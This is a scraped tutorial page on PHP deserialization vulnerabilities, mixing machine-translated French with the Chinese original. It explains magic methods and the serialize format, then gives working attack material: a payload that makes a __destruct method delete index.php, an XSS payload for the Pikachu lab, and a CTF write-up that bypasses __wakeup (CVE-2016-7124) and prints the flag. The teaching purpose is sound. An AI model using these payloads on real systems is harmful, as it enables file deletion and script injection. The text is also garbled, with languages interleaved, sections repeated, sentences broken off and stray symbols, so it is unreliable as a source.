Maison > Article > développement back-end > Analyse détaillée des vulnérabilités de désérialisation PHP
Cet article vous apporte des connaissances pertinentes sur PHP, qui présente principalement des problèmes liés aux vulnérabilités de désérialisation, y compris la programmation orientée objet PHP, la sérialisation et la désérialisation, les principes de vulnérabilité de désérialisation, etc. Attendez le contenu, j'espère qu'il sera utile pour tout le monde.
Apprentissage recommandé : "Tutoriel vidéo PHP"
Dans Programmation orientée objet (Programmation orientée objet, POO),
objet est un L'ensemble composé d'informations et de la description du traitement de l'information est une abstraction du monde réel. Une
classe est une collection d'objetsqui partagent la même structure et le même comportement. La définition de chaque classe commence par le mot-clé class, suivi du nom de la classe.
Créez une classe PHP :
<?php class TestClass //定义一个类 { //一个变量 public $variable = 'This is a string'; //一个方法 public function PrintVariable() { echo $this->variable; } } //创建一个对象 $object = new TestClass(); //调用一个方法 $object->PrintVariable(); ?>
Le contrôle d'accès de PHP pour les propriétés ou les méthodes se fait en ajoutant le mot-clé public (public), protégé (protégé) ou privé (privé) à réaliser.
public : les membres de la classe publique sont accessibles n'importe où.
protected (protected) : les membres de la classe protégée sont accessibles par lui-même et ses sous-classes et classes parentes.
private (privé) : les membres de la classe privée ne sont accessibles que par la classe dans laquelle ils sont définis. Remarque :
Les modificateurs de contrôle d'accès sont différents, la longueur et la valeur d'attribut de l'attribut après sérialisation seront différentes, comme indiqué ci-dessous : public : lorsque l'attribut est sérialisé, la valeur de l'attribut deviendra l'attribut name
protected : Lorsque l'attribut est sérialisé, la valeur de l'attribut deviendra x00*x00 nom de l'attribut
属性名
protected:属性被序列化的时候属性值会变成 x00*x00属性名
private:属性被序列化的时候属性值会变成 x00类名x00属性名
其中:x00
表示空字符,但是还是占用一个字符位置(空格),如下例
<?phpclass People{ public $id; protected $gender; private $age; public function __construct(){ $this->id = 'Hardworking666'; $this->gender = 'male'; $this->age = '18'; }}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}
PHP中把以两个下划线__
开头的方法称为魔术方法(Magic methods)
PHP官方——魔术方法
PHP中16 个魔术方法详解
类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用。
__construct() //类的构造函数,创建对象时触发 __destruct() //类的析构函数,对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义 __set() //在给不可访问属性赋值时触发 __isset() //当对不可访问属性调用 isset() 或 empty() 时触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当尝试以调用函数的方式调用一个对象时触发 __sleep() //执行serialize()时,先会调用这个方法 __wakeup() //执行unserialize()时,先会调用这个方法 __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。
我们需要重点关注一下5个魔术方法,所以再强调一下:
__construct
:构造函数,当一个对象创建时调用
__destruct
:析构函数,当一个对象被销毁时调用
__toString
:当一个对象被当作一个字符串时使用
__sleep
:在对象序列化的时候调用
__wakeup
:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)
从序列化到反序列化这几个函数的执行过程是:
__construct()
->__sleep()
-> __wakeup()
-> __toString()
-> __destruct()
<?php class TestClass { //一个变量 public $variable = 'This is a string'; //一个方法 public function PrintVariable() { echo $this->variable.'<br />'; } //构造函数 public function __construct() { echo '__construct<br />'; } //析构函数 public function __destruct() { echo '__destruct<br />'; } //当对象被当作一个字符串 public function __toString() { return '__toString<br />'; } } //创建一个对象 //__construct会被调用 $object = new TestClass(); //创建一个方法 //‘This is a string’将会被输出 $object->PrintVariable(); //对象被当作一个字符串 //toString会被调用 echo $object; //php脚本要结束时,__destruct会被调用 ?>
输出结果:
__construct This is a string __toString __destruct
__toString()
这个魔术方法能触发的因素太多,所以有必要列一下:
1. echo($obj)/print($obj)打印时会触发 2. 反序列化对象与字符串连接时 3. 反序列化对象参与格式化字符串时 4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5. 反序列化对象参与格式化SQL语句,绑定参数时 6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 8. 反序列化的对象作为class_exists()的参数的时候
反序列化的入口在unserialize()
,只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()
Nom de la classe x00 Nom de l'attribut x00
Parmi eux : x00
représente le caractère nul, mais occupe toujours une position de caractère (espace), comme dans l'exemple suivant
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } // “.”表示字符串连接 } //创建一个对象 $usr = new User(); //设置数据 $usr->age = 18; $usr->name = 'Hardworking666'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?>
User Hardworking666 is 18 years old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}méthode magique (fonction magique) En PHP, les méthodes commençant par
__
sont appelées PHP officiel - méthodes magiques
Explication détaillée de 16 méthodes magiques méthodes en PHP Les classes peuvent contenir des fonctions spéciales : des fonctions magiques, qui seront automatiquement appelées dans certaines circonstances. La fonction
a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串serialize() vérifie si une méthode magique existe dans la classe. Si elle est présente, cette méthode sera appelée en premier, puis l'opération de sérialisation sera effectuée. 🎜🎜Nous devons nous concentrer sur 5 méthodes magiques, nous allons donc les souligner à nouveau : 🎜🎜
__construct
: Constructeur, appelé lorsqu'un objet 🎜 est créé🎜🎜🎜__destruct
: Destructeur, appelé lorsqu'un objet 🎜 est détruit 🎜 🎜🎜 __toString
: Utilisé lorsqu'un objet 🎜 est traité comme une chaîne 🎜 Utilisé 🎜🎜 __sleep
: dans l'objet 🎜Appelé 🎜 🎜__wakeup
lors de la 🎜sérialisation🎜 : L'objet se réveille à nouveau, c'est-à-dire lorsque 🎜reconstruit un objet🎜 à partir d'une chaîne binaire (appelée lorsqu'un objet est 🎜désérialisé🎜)🎜🎜 Le processus d'exécution de ces les fonctions de la sérialisation à la désérialisation sont : 🎜🎜__construct()
->__sleep()
-> __wakeup()
-> >__toString() -> __destruct()
🎜<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //输出数据 $usr->printdata(); ?>🎜Résultat de sortie : 🎜
User Hardworking666 is 18 years old.🎜
__toString()
Ceci Il y a trop de facteurs qui peuvent déclencher la magie méthodes, il faut donc les lister : 🎜<?phpclass test{ public $variable = '变量反序列化后都要销毁'; //公共变量 public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct'.'<br />'; } public function __destruct() { echo '__destruct'.'<br />'; } public function __wakeup() { echo '__wakeup'.'<br />'; } public function __sleep() { echo '__sleep'.'<br />'; return array('variable','variable2'); }}//创建一个对象,回调用__construct$object = new test(); //序列化一个对象,会调用__sleep$serialized = serialize($object); //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />'; //重建对象,会调用__wakeup$object2 = unserialize($serialized); //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable(); //脚本结束,会调用__destruct?>🎜Le rôle des méthodes magiques dans les attaques de désérialisation🎜🎜L'entrée de la désérialisation se fait dans
unserialize()
, tant que les 🎜 paramètres Il est contrôlable et cette classe existe dans la portée actuelle, vous pouvez transmettre n'importe quel objet sérialisé, au lieu d'être limité aux objets de la classe où la fonction unserialize()
apparaît. 🎜🎜Si elle ne peut être limitée qu'à la classe actuelle, la surface d'attaque sera trop petite et la désérialisation d'autres objets de classe ne pourra contrôler que les attributs. Si les méthodes d'autres objets de classe ne sont pas appelées dans le code après la désérialisation, elle ne peut toujours pas. être exploité. 🎜🎜Cependant, la surface d'attaque peut être étendue en utilisant la méthode magique. La méthode magique est automatiquement complétée pendant la sérialisation ou la désérialisation de la classe, afin que vous puissiez 🎜utiliser les propriétés de l'objet dans la désérialisation pour contrôler certaines fonctions exploitables 🎜. , pour atteindre le but de l'attaque. 🎜🎜Comprenez le rôle des méthodes magiques dans les vulnérabilités de désérialisation à travers l'exemple suivant : 🎜🎜2. Sérialisation et désérialisation PHP🎜🎜Sérialisation PHP🎜🎜Parfois, il est nécessaire de transmettre un objet sur le réseau pour faciliter la transmission. . , vous pouvez 🎜convertir l'objet entier en chaîne binaire🎜, puis le restaurer à l'objet d'origine lorsqu'il atteint l'autre extrémité. Ce processus est appelé 🎜sérialisation🎜 (également appelé 🎜sérialisation🎜). 🎜json数据使用 ,
分隔开,数据内使用 :
分隔键和值
json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()
得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。
有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库
相关概念可以参考我以前的文章:
Python序列化与反序列化详解(包括json和json模块详解)
PHP序列化:把对象转化为二进制的字符串,使用serialize()
函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()
函数
通过例子来看PHP序列化后的格式:
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } // “.”表示字符串连接 } //创建一个对象 $usr = new User(); //设置数据 $usr->age = 18; $usr->name = 'Hardworking666'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?>
输出结果:
User Hardworking666 is 18 years old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
就是对象user序列化后的形式。
“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。
“{}”里面是参数的key和value,
“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。
序列化格式:
a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串
PHP序列化需注意以下几点:
1、序列化只序列属性,不序列方法
2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
对上例进行反序列化:
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //输出数据 $usr->printdata(); ?>
User Hardworking666 is 18 years old.
_sleep
方法在一个对象被序列化时调用,_wakeup
方法在一个对象被反序列化时调用
<?phpclass test{ public $variable = '变量反序列化后都要销毁'; //公共变量 public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct'.'<br />'; } public function __destruct() { echo '__destruct'.'<br />'; } public function __wakeup() { echo '__wakeup'.'<br />'; } public function __sleep() { echo '__sleep'.'<br />'; return array('variable','variable2'); }}//创建一个对象,回调用__construct$object = new test(); //序列化一个对象,会调用__sleep$serialized = serialize($object); //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />'; //重建对象,会调用__wakeup$object2 = unserialize($serialized); //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable(); //脚本结束,会调用__destruct?>
__construct __sleep Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup 变量反序列化后都要销毁 __destruct __destruct
从序列化到反序列化这几个函数的执行过程是:__construct()
->__sleep
-> __wakeup()
-> __toString()
-> __destruct()
PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题
PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。
如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
序列化和反序列化本身没有问题,
但是反序列化内容用户可控,
且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
当传给unserialize()
的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct
被调用时,日志文件将会被删除:
//logdata.php<?phpclass logfile{ //log文件名 public $filename = 'error.log'; //一些用于储存日志的代码 public function logdata($text) { echo 'log data:'.$text.'<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } //destrcuctor 删除日志文件 public function __destruct() { echo '__destruct deletes '.$this->filename.'file.<br />'; unlink(dirname(__FILE__).'/'.$this->filename); }}?>
调用这个类:
<?phpinclude 'logdata.php'class User{ //类数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is'.$this->age.' years old.<br />'; }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>
代码$usr = unserialize($_GET['usr_serialized']);
中的$_GET[‘usr_serialized’]
是可控的,那么可以构造输入,删除任意文件。
如构造输入删除目录下的index.php文件:
<?php include 'logdata.php'; $object = new logfile(); $object->filename = 'index.php'; echo serialize($object).'<br />'; ?>
上面展示了由于输入可控造成的__destruct
函数删除任意文件,其实问题也可能存在于__wakeup
、__sleep
、__toString
等其他magic函数。
比如,某用户类定义了一个__toString
,为了让应用程序能够将类作为一个字符串输出(echo $object
),而且其他类也可能定义了一个类允许__toString
读取某个文件。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
例如,皮卡丘靶场PHP反序列化漏洞
$html="; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>错误输出</p>"; }else{ $html.="<p>{$unser->test)</p>"; }
为了执行<script>alert('xss')</script>
,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知识点:
unserialize
漏洞依赖条件:
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct()
)、析构函数(__destruct()
)、__wakeup()
函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值
防范方法:
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染
攻防世界xctf web unserialize3
打开网址后的代码:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
已知在使用 unserialize()
反序列化时会先调用 __wakeup()
函数,
而本题的关键就是如何 绕过 __wakeup()
函数,就是 在反序列化的时候不调用它
当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()
代码中的__wakeup()
方法如果使用就是和unserialize()
反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。
我们利用php中的new运算符,实例化类xctf。
new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a();
相当于定义了一个基于a类的对象,这时候 $c->i
就是0
构造序列化的代码在编辑器内执行:
<?php class xctf{ public $flag = '111'; //public定义flag变量公开可见 public function __wakeup(){ exit('bad requests'); } }//题目少了一个},这里补上 $a=new xctf(); echo(serialize($a)); ?>
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O
:表示序列化的是对象<length>
:表示序列化的类名称长度<class name>
:表示序列化的类的名称<n>
:表示被序列化的对象的属性个数<field name 1>
:属性名<field value 1>
:属性值
所以要修改属性值<n>
,既把1改为2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中输入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
漏洞:__wakeup
绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
推荐学习:《PHP教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!